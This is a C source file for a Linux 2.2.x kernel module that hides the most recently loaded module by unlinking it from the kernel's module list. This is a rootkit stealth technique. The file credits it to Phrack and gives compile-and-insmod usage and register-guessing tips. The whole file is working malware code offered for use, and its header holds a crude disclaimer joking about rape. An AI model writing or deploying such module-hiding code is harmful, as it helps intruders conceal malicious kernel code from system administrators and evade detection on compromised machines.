Generic module hidder, for linux 2.2.x kernels. Hides the last module installed.
6a208911f56caefd20bec7fdb917d6c6e42897a877c76fb78c4b54558227d418
/*
* generic module hidder, for 2.2.x kernels.
*
* by Kossak (ldvg@rnl.ist.utl.pt || http://www.rnl.ist.utl.pt/~ldvg)
*
* This module hides the last module installed. With little mind work you can
* put it to selectivly hide any module from the list.
*
* insmod'ing this module will allways return an error, meaning the module will
* not stay installed. Run lsmod and see if it done any good. If not, see
* below, and try until you suceed. if you dont, then the machine has a weird
* compiler that I never seen. It will suceed on 99% of all intel boxes running
* 2.2.x kernels.
*
* The module is expected not to crash when it gets the wrong register, but
* then again, it could set fire to your machine, who knows...
*
* Idea stolen from plaguez's itf, as seen on Phrack 52.
* The good thing about this is that on 2.2.x we dont need to hide the module
* symbols, because a pointer to that list now exists only on the mp struct,
* which is the one we're hiding.
*
* DISCLAIMER: If you use this for the wrong purposes, your skin will fall off,
* you'll only have sex with ugly women, and you'll be raped in
* jail by homicidal maniacs.
*
* USAGE: gcc -c krnhide.c ; insmod krnhide.o ; lsmod
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
int init_module(void) {
/*
* if at first you dont suceed, try:
* %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp
*/
register struct module *mp asm("%ebx");
if (mp->init == &init_module) /* is it the right register? */
if (mp->next) /* and is there any module besides this one? */
mp->next = mp->next->next; /* cool, lets hide it :) */
return -1; /* the end. simple heh? */
}